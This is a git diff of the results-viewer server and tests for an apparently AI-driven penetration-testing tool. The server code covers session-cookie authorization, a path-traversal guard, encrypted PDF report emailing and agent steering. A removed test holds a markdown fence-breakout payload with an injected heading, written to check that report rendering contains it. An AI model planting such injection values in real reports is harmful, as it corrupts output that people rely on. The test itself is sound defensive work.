||||
auth.write_auth(
|
||||
email=result.get("email") or email,
|
||||
token=result["token"],
|
||||
verified_at=result.get("expires_at") or "",
|
||||
)
|
||||
verified_email = result.get("email") or email
|
||||
self._send_json(HTTPStatus.OK, {"verified": True, "email": verified_email})
|
||||
|
||||
def _handle_forget(self) -> None:
|
||||
# Clearing the cached verification is a state change, so it requires
|
||||
# this process's session capability: a cookie-less caller on an
|
||||
# exposed --host port must not be able to log the operator out.
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
auth.forget()
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
|
||||
def _handle_report_send(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
record = auth.read_auth()
|
||||
if record is None:
|
||||
self._send_json(HTTPStatus.UNAUTHORIZED, {"error": "unverified"})
|
||||
return
|
||||
run_param = str(self._read_body().get("run") or "") or None
|
||||
run_dir = resolve_run_dir(state.base_dir, run_param, state.run_dir)
|
||||
if run_dir is None:
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "unknown run"})
|
||||
return
|
||||
|
||||
summary = read_run_summary(run_dir)
|
||||
# Emailing only makes sense for a completed run; a live scan would
|
||||
# send a partial report. The UI hides the entry point, but fail
|
||||
# closed here too so the endpoint can't be driven mid-scan.
|
||||
if not summary.get("finished", False):
|
||||
self._send_json(HTTPStatus.CONFLICT, {"error": "run_not_finished"})
|
||||
return
|
||||
|
||||
from strix.viewer.report_pdf import build_encrypted_report
|
||||
|
||||
pdf_bytes, password, filename = build_encrypted_report(run_dir)
|
||||
run_name = str(summary.get("run_name") or run_dir.name)
|
||||
target = primary_target(summary) or "unknown target"
|
||||
try:
|
||||
# The password is intentionally NOT passed here; only the
|
||||
# encrypted PDF bytes reach the relay.
|
||||
auth.report_send(record["token"], pdf_bytes, filename, run_name, target)
|
||||
except auth.RelayError as exc:
|
||||
self._send_relay_error(exc)
|
||||
return
|
||||
# The password is returned only to the local (127.0.0.1) browser.
|
||||
self._send_json(
|
||||
HTTPStatus.OK,
|
||||
{"ok": True, "password": password, "filename": filename},
|
||||
)
|
||||
|
||||
# Cap on a feedback message so a runaway client cannot flood the relay.
|
||||
_FEEDBACK_MESSAGE_MAX = 5000
|
||||
|
||||
def _handle_feedback(self) -> None:
|
||||
# Requires this process's session capability, like the other POSTs,
|
||||
# so an exposed --host port can't be used to spam the relay.
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
body = self._read_body()
|
||||
email = str(body.get("email") or "").strip()
|
||||
message = str(body.get("message") or "").strip()
|
||||
if not email:
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_email"})
|
||||
return
|
||||
if not message:
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_message"})
|
||||
return
|
||||
message = message[: self._FEEDBACK_MESSAGE_MAX]
|
||||
try:
|
||||
auth.feedback_submit(email, message)
|
||||
except auth.RelayError as exc:
|
||||
self._send_relay_error(exc)
|
||||
return
|
||||
# Server-authoritative: fire only after a successful relay (respects
|
||||
# the telemetry opt-out; no message/email content is sent).
|
||||
from strix.telemetry import posthog
|
||||
|
||||
posthog.viewer_feedback_submitted()
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
|
||||
# Cap on a steering message so a runaway client cannot flood the agent.
|
||||
_STEER_MESSAGE_MAX = 4000
|
||||
|
||||
def _handle_steer(self) -> None:
|
||||
if not self._has_session():
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "forbidden"})
|
||||
return
|
||||
body = self._read_body()
|
||||
agent_id = body.get("agent_id")
|
||||
message = body.get("message")
|
||||
if not isinstance(agent_id, str) or not agent_id.strip():
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_agent_id"})
|
||||
return
|
||||
if (
|
||||
not isinstance(message, str)
|
||||
or not message.strip()
|
||||
or len(message) > self._STEER_MESSAGE_MAX
|
||||
):
|
||||
self._send_json(HTTPStatus.BAD_REQUEST, {"error": "invalid_message"})
|
||||
return
|
||||
if state.steer_handler is None:
|
||||
# Standalone / finished-run viewing has no live scan to steer.
|
||||
self._send_json(HTTPStatus.FORBIDDEN, {"error": "steering_unavailable"})
|
||||
return
|
||||
delivered = state.steer_handler(agent_id, message)
|
||||
if delivered:
|
||||
self._send_json(HTTPStatus.OK, {"ok": True})
|
||||
else:
|
||||
self._send_json(HTTPStatus.OK, {"ok": False, "error": "not_delivered"})
|
||||
|
||||
def _send_relay_error(self, exc: auth.RelayError) -> None:
|
||||
status_by_code = {
|
||||
"rate_limited": HTTPStatus.TOO_MANY_REQUESTS,
|
||||
"invalid_email": HTTPStatus.BAD_REQUEST,
|
||||
"invalid_message": HTTPStatus.BAD_REQUEST,
|
||||
"work_email_required": HTTPStatus.BAD_REQUEST,
|
||||
"invalid_code": HTTPStatus.FORBIDDEN,
|
||||
"reverify": HTTPStatus.UNAUTHORIZED,
|
||||
"forbidden": HTTPStatus.FORBIDDEN,
|
||||
"too_large": HTTPStatus.REQUEST_ENTITY_TOO_LARGE,
|
||||
"unavailable": HTTPStatus.BAD_GATEWAY,
|
||||
}
|
||||
status = status_by_code.get(exc.code, HTTPStatus.BAD_GATEWAY)
|
||||
self._send_json(status, {"error": exc.code})
|
||||
|
||||
def _cookies(self) -> dict[str, str]:
|
||||
jar: dict[str, str] = {}
|
||||
for chunk in (self.headers.get("Cookie") or "").split(";"):
|
||||
name, sep, value = chunk.strip().partition("=")
|
||||
if sep:
|
||||
jar[name] = value
|
||||
return jar
|
||||
|
||||
def _has_session(self) -> bool:
|
||||
"""True when the request carries this process's session capability.
|
||||
|
||||
The cookie is set only when the SPA is served (index.html), so only
|
||||
the browser this process handed the page to can pass. A direct
|
||||
caller on an exposed port has no cookie and is rejected.
|
||||
"""
|
||||
supplied = self._cookies().get(SESSION_COOKIE, "")
|
||||
return bool(supplied) and secrets.compare_digest(supplied, state.session_token)
|
||||
|
||||
def _token_presented(self, query: dict[str, list[str]]) -> bool:
|
||||
"""True when the request carries the correct bootstrap token.
|
||||
|
||||
The token reaches the operator's browser through the URL printed /
|
||||
opened by the process that started the server, a channel an
|
||||
arbitrary network caller on an exposed port cannot observe.
|
||||
"""
|
||||
supplied = (query.get("token") or [""])[0]
|
||||
return bool(supplied) and secrets.compare_digest(supplied, state.session_token)
|
||||
|
||||
def _handle_static(self, path: str, query: dict[str, list[str]]) -> None:
|
||||
target = self._resolve_asset(path)
|
||||
if target is None:
|
||||
# SPA fallback: unknown non-asset routes render index.html so
|
||||
# client-side deep links work.
|
||||
target = state.assets_dir / "index.html"
|
||||
is_index = target.name == "index.html"
|
||||
if not target.is_file():
|
||||
self._send_json(HTTPStatus.NOT_FOUND, {"error": "not found"})
|
||||
return
|
||||
content = target.read_bytes()
|
||||
content_type, _ = mimetypes.guess_type(str(target))
|
||||
self.send_response(HTTPStatus.OK)
|
||||
self.send_header("Content-Type", content_type or "application/octet-stream")
|
||||
self.send_header("Content-Length", str(len(content)))
|
||||
if is_index and self._token_presented(query):
|
||||
# Exchange the bootstrap token for the per-process session
|
||||
# capability. Issued only when the correct token is presented,
|
||||
# so a caller who merely reaches ``/`` never obtains it.
|
||||
# HttpOnly (JS never needs it; fetch sends it automatically) and
|
||||
# SameSite=Strict (never sent from a cross-site context).
|
||||
self.send_header(
|
||||
"Set-Cookie",
|
||||
f"{SESSION_COOKIE}={state.session_token}; Path=/; HttpOnly; SameSite=Strict",
|
||||
)
|
||||
self.end_headers()
|
||||
self.wfile.write(content)
|
||||
|
||||
def _resolve_asset(self, path: str) -> Path | None:
|
||||
rel = unquote(path).lstrip("/")
|
||||
if not rel or rel.endswith("/"):
|
||||
return None
|
||||
root = state.assets_dir.resolve()
|
||||
candidate = (root / rel).resolve()
|
||||
# Path-traversal guard: never serve outside the bundle root.
|
||||
if root != candidate and root not in candidate.parents:
|
||||
logger.warning("viewer rejected traversal attempt: %s", path)
|
||||
return None
|
||||
return candidate if candidate.is_file() else None
|
||||
|
||||
def _send_json(self, status: HTTPStatus, payload: Any) -> None:
|
||||
body = json.dumps(payload).encode("utf-8")
|
||||
self.send_response(status)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
return ViewerHandler
|
||||
|
||||
|
||||
def authorized_url(base_url: str, token: str) -> str:
|
||||
"""URL that bootstraps the viewer session for the operator.
|
||||
|
||||
Presenting ``token`` on the initial page load is what mints the session
|
||||
cookie, so this URL is printed / opened only for the operator who started
|
||||
the server. Sharing it (rather than the bare ``base_url``) is what lets a
|
||||
trusted remote user authorize when the viewer is exposed with ``--host``.
|
||||
"""
|
||||
return f"{base_url}/?{urlencode({'token': token})}"
|
||||
|
||||
|
||||
def serve(
|
||||
run_dir: Path,
|
||||
*,
|
||||
host: str = "127.0.0.1",
|
||||
port: int = 0,
|
||||
open_browser: bool = True,
|
||||
steer_handler: Callable[[str, str], bool] | None = None,
|
||||
) -> tuple[ThreadingHTTPServer, str, str]:
|
||||
"""Start the viewer server on a background thread; return (server, url, token).
|
||||
|
||||
``url`` is the bare base; pass it through ``authorized_url(url, token)`` to
|
||||
build the operator link that authorizes the browser.
|
||||
|
||||
Binds an ephemeral port by default. If a fixed ``port`` is requested but in
|
||||
use, falls back to an ephemeral port. Reused by both the ``strix view``
|
||||
command and the in-TUI launcher; callers own the server's lifetime.
|
||||
|
||||
``steer_handler`` is supplied only by the in-TUI launcher, which runs inside
|
||||
the live scan process and can forward a message to a running agent. Left
|
||||
``None`` (standalone ``strix view``), steering is reported unavailable.
|
||||
"""
|
||||
assets_dir = bundle_dir()
|
||||
state = _ViewerState(run_dir=run_dir, assets_dir=assets_dir, steer_handler=steer_handler)
|
||||
handler = _make_handler(state)
|
||||
|
||||
try:
|
||||
httpd = ThreadingHTTPServer((host, port), handler)
|
||||
except OSError:
|
||||
if port == 0:
|
||||
raise
|
||||
logger.info("viewer port %s unavailable, falling back to an ephemeral port", port)
|
||||
httpd = ThreadingHTTPServer((host, 0), handler)
|
||||
|
||||
httpd.daemon_threads = True
|
||||
bound_port = int(httpd.server_address[1])
|
||||
url = f"http://{host}:{bound_port}"
|
||||
|
||||
thread = threading.Thread(target=httpd.serve_forever, name="strix-viewer", daemon=True)
|
||||
thread.start()
|
||||
|
||||
if open_browser:
|
||||
_open_browser(authorized_url(url, state.session_token))
|
||||
|
||||
return httpd, url, state.session_token
|
||||
|
||||
|
||||
def _open_browser(url: str) -> None:
|
||||
try:
|
||||
webbrowser.open(url)
|
||||
except Exception: # noqa: BLE001 - launching the browser is best-effort
|
||||
logger.debug("could not open browser for %s", url, exc_info=True)
|
||||
|
||||
|
||||
__all__ = ["authorized_url", "bundle_dir", "bundle_is_built", "serve"]
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,15 +0,0 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/png" href="./logo.png" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<title>Strix Results</title>
|
||||
<script type="module" crossorigin src="./assets/index-BNKUksp9.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-BdiSGmzb.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 3.7 KiB |
@@ -1,106 +0,0 @@
|
||||
"""Build the JSON payloads the viewer SPA consumes from a run directory."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from strix.core.paths import run_record_path
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_TERMINAL_STATUSES = {"completed", "stopped", "failed", "interrupted"}
|
||||
|
||||
_KNOWN_SEVERITIES = ("critical", "high", "medium", "low")
|
||||
|
||||
|
||||
def severity_counts(vulns: list[Any]) -> dict[str, int]:
|
||||
"""Bucket vulnerabilities into critical/high/medium/low counts.
|
||||
|
||||
Mirrors the SPA's ``severityCounts``: severities are lowercased and
|
||||
trimmed, and anything outside the four known buckets (``info``,
|
||||
``informational``, ``unknown``, missing, ...) folds into ``low`` so the
|
||||
shared UI renders cleanly.
|
||||
"""
|
||||
counts = dict.fromkeys(_KNOWN_SEVERITIES, 0)
|
||||
for vuln in vulns:
|
||||
raw = vuln.get("severity") if isinstance(vuln, dict) else None
|
||||
severity = str(raw or "").lower().strip()
|
||||
if severity not in counts:
|
||||
severity = "low"
|
||||
counts[severity] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def build_run_state(run_dir: Path) -> dict[str, Any]:
|
||||
"""Agent graph + full per-agent event/message stream.
|
||||
|
||||
Reuses the Textual-free ``TuiLiveView`` projection so the viewer and the TUI
|
||||
share one parser for ``agents.json`` + ``agents.db`` and never drift.
|
||||
"""
|
||||
# Imported lazily so importing strix.viewer does not eagerly pull the TUI.
|
||||
from strix.interface.tui.live_view import TuiLiveView # noqa: PLC0415
|
||||
|
||||
view = TuiLiveView()
|
||||
view.hydrate_from_run_dir(run_dir)
|
||||
return {"agents": list(view.agents.values()), "events": view.events}
|
||||
|
||||
|
||||
def read_run_summary(run_dir: Path) -> dict[str, Any]:
|
||||
"""The ``run.json`` record plus a computed ``finished`` flag."""
|
||||
record = _load_json(run_record_path(run_dir), default={})
|
||||
if not isinstance(record, dict):
|
||||
record = {}
|
||||
status = record.get("status")
|
||||
finished = status in _TERMINAL_STATUSES and bool(record.get("end_time"))
|
||||
return {**record, "finished": finished}
|
||||
|
||||
|
||||
def primary_target(record: dict[str, Any]) -> str | None:
|
||||
"""The first target's original string from a run record, or None."""
|
||||
targets = record.get("targets_info")
|
||||
if isinstance(targets, list):
|
||||
for entry in targets:
|
||||
if isinstance(entry, dict):
|
||||
original = entry.get("original")
|
||||
if isinstance(original, str) and original:
|
||||
return original
|
||||
return None
|
||||
|
||||
|
||||
def read_vulnerabilities(run_dir: Path) -> list[Any]:
|
||||
"""The ``vulnerabilities.json`` list (empty until a scan writes it)."""
|
||||
data = _load_json(run_dir / "vulnerabilities.json", default=[])
|
||||
return data if isinstance(data, list) else []
|
||||
|
||||
|
||||
def read_report_markdown(run_dir: Path) -> str:
|
||||
"""The executive report markdown (empty until a scan writes it)."""
|
||||
report_path = run_dir / "penetration_test_report.md"
|
||||
try:
|
||||
return report_path.read_text(encoding="utf-8")
|
||||
except OSError:
|
||||
return ""
|
||||
|
||||
|
||||
def _load_json(path: Path, *, default: Any) -> Any:
|
||||
try:
|
||||
return json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return default
|
||||
|
||||
|
||||
__all__ = [
|
||||
"build_run_state",
|
||||
"primary_target",
|
||||
"read_report_markdown",
|
||||
"read_run_summary",
|
||||
"read_vulnerabilities",
|
||||
"severity_counts",
|
||||
]
|
||||
@@ -1,105 +0,0 @@
|
||||
"""Tests for building and encrypting the viewer PDF report."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from io import BytesIO
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import pytest
|
||||
from pypdf import PdfReader
|
||||
from pypdf.errors import WrongPasswordError
|
||||
|
||||
from strix.viewer.report_pdf import (
|
||||
build_encrypted_report,
|
||||
encrypt_pdf,
|
||||
generate_password,
|
||||
generate_report_pdf,
|
||||
)
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def _make_run(base: Path, name: str = "sample") -> Path:
|
||||
run_dir = base / "strix_runs" / name
|
||||
run_dir.mkdir(parents=True)
|
||||
record = {
|
||||
"run_name": name,
|
||||
"targets_info": [{"original": "https://example.com"}],
|
||||
"scan_mode": "deep",
|
||||
"status": "completed",
|
||||
"start_time": "2026-01-01T00:00:00Z",
|
||||
"end_time": "2026-01-01T01:02:03Z",
|
||||
"scan_results": {
|
||||
"executive_summary": "Summary with an ampersand & an <angle> bracket.",
|
||||
"recommendations": "Patch things.",
|
||||
},
|
||||
}
|
||||
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
|
||||
vulns = [
|
||||
{
|
||||
"title": "SQL Injection",
|
||||
"severity": "CRITICAL",
|
||||
"cvss": 9.8,
|
||||
"description": "User input reaches the query.",
|
||||
"impact": "Full database read.",
|
||||
"technical_analysis": "Details here.",
|
||||
"poc_description": "Send a crafted parameter.",
|
||||
"poc_script_code": "print('exploit')",
|
||||
"evidence": "HTTP 500 with SQL error.",
|
||||
"remediation_steps": ["Use parameterized queries", "Validate input"],
|
||||
"target": "https://example.com",
|
||||
"endpoint": "/login",
|
||||
"method": "POST",
|
||||
},
|
||||
{"title": "Informational note", "severity": "info"},
|
||||
]
|
||||
(run_dir / "vulnerabilities.json").write_text(json.dumps(vulns), encoding="utf-8")
|
||||
return run_dir
|
||||
|
||||
|
||||
def test_generate_report_pdf_has_pdf_header(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path)
|
||||
pdf = generate_report_pdf(run_dir)
|
||||
assert pdf.startswith(b"%PDF-")
|
||||
assert len(pdf) > 1000
|
||||
|
||||
|
||||
def test_generate_password_is_long_and_random() -> None:
|
||||
first = generate_password()
|
||||
second = generate_password()
|
||||
assert len(first) >= 20
|
||||
assert first != second
|
||||
|
||||
|
||||
def test_encrypt_pdf_roundtrip(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path)
|
||||
pdf = generate_report_pdf(run_dir)
|
||||
password = generate_password()
|
||||
encrypted = encrypt_pdf(pdf, password)
|
||||
|
||||
reader = PdfReader(BytesIO(encrypted))
|
||||
assert reader.is_encrypted
|
||||
assert reader.decrypt(password)
|
||||
# A correct password unlocks the pages.
|
||||
assert len(reader.pages) >= 1
|
||||
|
||||
|
||||
def test_wrong_password_is_rejected(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path)
|
||||
encrypted = encrypt_pdf(generate_report_pdf(run_dir), "correct-horse-battery")
|
||||
with pytest.raises(WrongPasswordError):
|
||||
PdfReader(BytesIO(encrypted), password="not-the-password")
|
||||
|
||||
|
||||
def test_build_encrypted_report(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path, name="run-42")
|
||||
pdf_bytes, password, filename = build_encrypted_report(run_dir)
|
||||
|
||||
assert filename == "strix-report-run-42.pdf"
|
||||
assert len(password) >= 20
|
||||
reader = PdfReader(BytesIO(pdf_bytes))
|
||||
assert reader.is_encrypted
|
||||
assert reader.decrypt(password)
|
||||
@@ -113,28 +113,6 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
|
||||
assert "## Assumptions" in md
|
||||
|
||||
|
||||
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
|
||||
# LLM/target-authored PoC content containing its own ``` must not close the
|
||||
# fence early and turn the injected markdown into live headings/images.
|
||||
injected = "curl x\n```\n\n## Injected Heading\n"
|
||||
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
|
||||
lines = md.split("\n")
|
||||
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
|
||||
assert set(fence) == {"`"}
|
||||
assert len(fence) >= 4 # wider than the payload's 3-backtick run
|
||||
assert injected in md # the payload survives verbatim, inside the fence
|
||||
|
||||
|
||||
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
|
||||
snippet = "row = q()\n```\n## Injected"
|
||||
md = render_vulnerability_md(
|
||||
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
|
||||
)
|
||||
assert (
|
||||
" ````\n row = q()\n ```\n ## Injected\n ````"
|
||||
) in md # indented fence widened past the payload's ``` run
|
||||
|
||||
|
||||
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
|
||||
reports = [
|
||||
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
|
||||
|
||||
@@ -1,555 +0,0 @@
|
||||
"""Tests for the local run viewer (strix.viewer) and its path helpers."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from strix.core.paths import latest_run_dir, runs_base_dir
|
||||
from strix.viewer.server import serve
|
||||
from strix.viewer.transcript import (
|
||||
build_run_state,
|
||||
read_report_markdown,
|
||||
read_run_summary,
|
||||
read_vulnerabilities,
|
||||
)
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Mapping
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
def _make_run(base: Path, name: str, *, status: str, end_time: str | None) -> Path:
|
||||
run_dir = base / "strix_runs" / name
|
||||
state_dir = run_dir / ".state"
|
||||
state_dir.mkdir(parents=True)
|
||||
record = {"run_name": name, "status": status, "end_time": end_time}
|
||||
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
|
||||
agents = {
|
||||
"statuses": {"root": "completed", "child": "running"},
|
||||
"names": {"root": "strix", "child": "recon"},
|
||||
"parent_of": {"root": None, "child": "root"},
|
||||
}
|
||||
(state_dir / "agents.json").write_text(json.dumps(agents), encoding="utf-8")
|
||||
return run_dir
|
||||
|
||||
|
||||
def test_latest_run_dir_none_when_no_runs(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.chdir(tmp_path)
|
||||
assert latest_run_dir() is None
|
||||
assert runs_base_dir() == tmp_path / "strix_runs"
|
||||
|
||||
|
||||
def test_latest_run_dir_picks_newest_by_record_mtime(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
monkeypatch.chdir(tmp_path)
|
||||
older = _make_run(tmp_path, "old", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
newer = _make_run(tmp_path, "new", status="running", end_time=None)
|
||||
# Force a newer mtime on the second run's record.
|
||||
os.utime(newer / "run.json", (2_000_000_000, 2_000_000_000))
|
||||
os.utime(older / "run.json", (1_000_000_000, 1_000_000_000))
|
||||
assert latest_run_dir() == newer
|
||||
|
||||
|
||||
def test_read_run_summary_finished_flag(tmp_path: Path) -> None:
|
||||
finished = _make_run(tmp_path, "done", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
live = _make_run(tmp_path, "live", status="running", end_time=None)
|
||||
assert read_run_summary(finished)["finished"] is True
|
||||
assert read_run_summary(live)["finished"] is False
|
||||
# A terminal status without an end_time is not "finished".
|
||||
partial = _make_run(tmp_path, "partial", status="failed", end_time=None)
|
||||
assert read_run_summary(partial)["finished"] is False
|
||||
|
||||
|
||||
def test_read_missing_artifacts_return_defaults(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path, "empty", status="running", end_time=None)
|
||||
assert read_vulnerabilities(run_dir) == []
|
||||
assert read_report_markdown(run_dir) == ""
|
||||
|
||||
|
||||
def test_build_run_state_from_agents_json(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path, "graph", status="running", end_time=None)
|
||||
state = build_run_state(run_dir)
|
||||
ids = {a["id"] for a in state["agents"]}
|
||||
assert ids == {"root", "child"}
|
||||
child = next(a for a in state["agents"] if a["id"] == "child")
|
||||
assert child["parent_id"] == "root"
|
||||
assert child["name"] == "recon"
|
||||
# No agents.db, so no message/tool events.
|
||||
assert state["events"] == []
|
||||
|
||||
|
||||
def _get(url: str, *, cookie: str | None = None) -> tuple[int, str, bytes]:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310 - localhost test server
|
||||
return resp.status, resp.headers.get("Content-Type", ""), resp.read()
|
||||
|
||||
|
||||
def test_server_serves_api_and_static(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "served", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
|
||||
assets = tmp_path / "bundle"
|
||||
(assets / "assets").mkdir(parents=True)
|
||||
(assets / "index.html").write_text("<!doctype html><div id=root></div>", encoding="utf-8")
|
||||
(assets / "assets" / "app.js").write_text("console.log(1)", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
status, ctype, body = _get(f"{url}/api/run")
|
||||
assert status == 200
|
||||
assert "application/json" in ctype
|
||||
assert json.loads(body)["finished"] is True
|
||||
|
||||
status, _, body = _get(f"{url}/api/transcript")
|
||||
assert {a["id"] for a in json.loads(body)["agents"]} == {"root", "child"}
|
||||
|
||||
# Real asset is served.
|
||||
status, ctype, _ = _get(f"{url}/assets/app.js")
|
||||
assert status == 200
|
||||
|
||||
# Unknown non-API route falls back to index.html (SPA routing).
|
||||
status, ctype, body = _get(f"{url}/agents/root")
|
||||
assert status == 200
|
||||
assert b"<div id=root>" in body
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_server_event_endpoint_forwards_cta(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "evt", status="running", end_time=None)
|
||||
assets = tmp_path / "bundle"
|
||||
assets.mkdir()
|
||||
(assets / "index.html").write_text("x", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
seen: list[tuple[str, str | None]] = []
|
||||
monkeypatch.setattr(
|
||||
"strix.telemetry.posthog.viewer_cta_clicked",
|
||||
lambda cta, surface=None: seen.append((cta, surface)),
|
||||
)
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
body = json.dumps(
|
||||
{"event": "cta_clicked", "cta": "PR reviews", "surface": "sidebar_nav"}
|
||||
).encode()
|
||||
req = urllib.request.Request( # noqa: S310 - localhost test server
|
||||
f"{url}/api/event", data=body, headers={"Content-Type": "application/json"}
|
||||
)
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
assert resp.status == 204
|
||||
assert seen == [("PR reviews", "sidebar_nav")]
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_server_event_endpoint_forwards_email_funnel(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "evt2", status="running", end_time=None)
|
||||
assets = tmp_path / "bundle"
|
||||
assets.mkdir()
|
||||
(assets / "index.html").write_text("x", encoding="utf-8")
|
||||
monkeypatch.setattr("strix.viewer.server.bundle_dir", lambda: assets)
|
||||
|
||||
seen: list[tuple[str, str | None]] = []
|
||||
monkeypatch.setattr(
|
||||
"strix.telemetry.posthog.viewer_email_event",
|
||||
lambda step, purpose=None: seen.append((step, purpose)),
|
||||
)
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
# A whitelisted funnel event is forwarded; an unknown event is ignored.
|
||||
for payload, expected in (
|
||||
({"event": "email_verified", "purpose": "report"}, [("email_verified", "report")]),
|
||||
({"event": "not_a_real_event"}, [("email_verified", "report")]),
|
||||
):
|
||||
req = urllib.request.Request( # noqa: S310 - localhost test server
|
||||
f"{url}/api/event",
|
||||
data=json.dumps(payload).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
assert resp.status == 204
|
||||
assert seen == expected
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_server_event_endpoint_forwards_agent_steered(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "steerevt", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
seen: list[bool] = []
|
||||
monkeypatch.setattr("strix.telemetry.posthog.viewer_agent_steered", lambda: seen.append(True))
|
||||
|
||||
httpd, url, _ = serve(run_dir, open_browser=False)
|
||||
try:
|
||||
req = urllib.request.Request( # noqa: S310 - localhost test server
|
||||
f"{url}/api/event",
|
||||
data=json.dumps({"event": "agent_steered"}).encode(),
|
||||
headers={"Content-Type": "application/json"},
|
||||
)
|
||||
with urllib.request.urlopen(req) as resp: # noqa: S310
|
||||
assert resp.status == 204
|
||||
assert seen == [True]
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_feedback_records_telemetry_on_success(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
run_dir = _make_run(tmp_path, "fbtel", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
|
||||
sent: list[bool] = []
|
||||
monkeypatch.setattr("strix.viewer.auth.feedback_submit", lambda *_a: None)
|
||||
monkeypatch.setattr(
|
||||
"strix.telemetry.posthog.viewer_feedback_submitted", lambda: sent.append(True)
|
||||
)
|
||||
|
||||
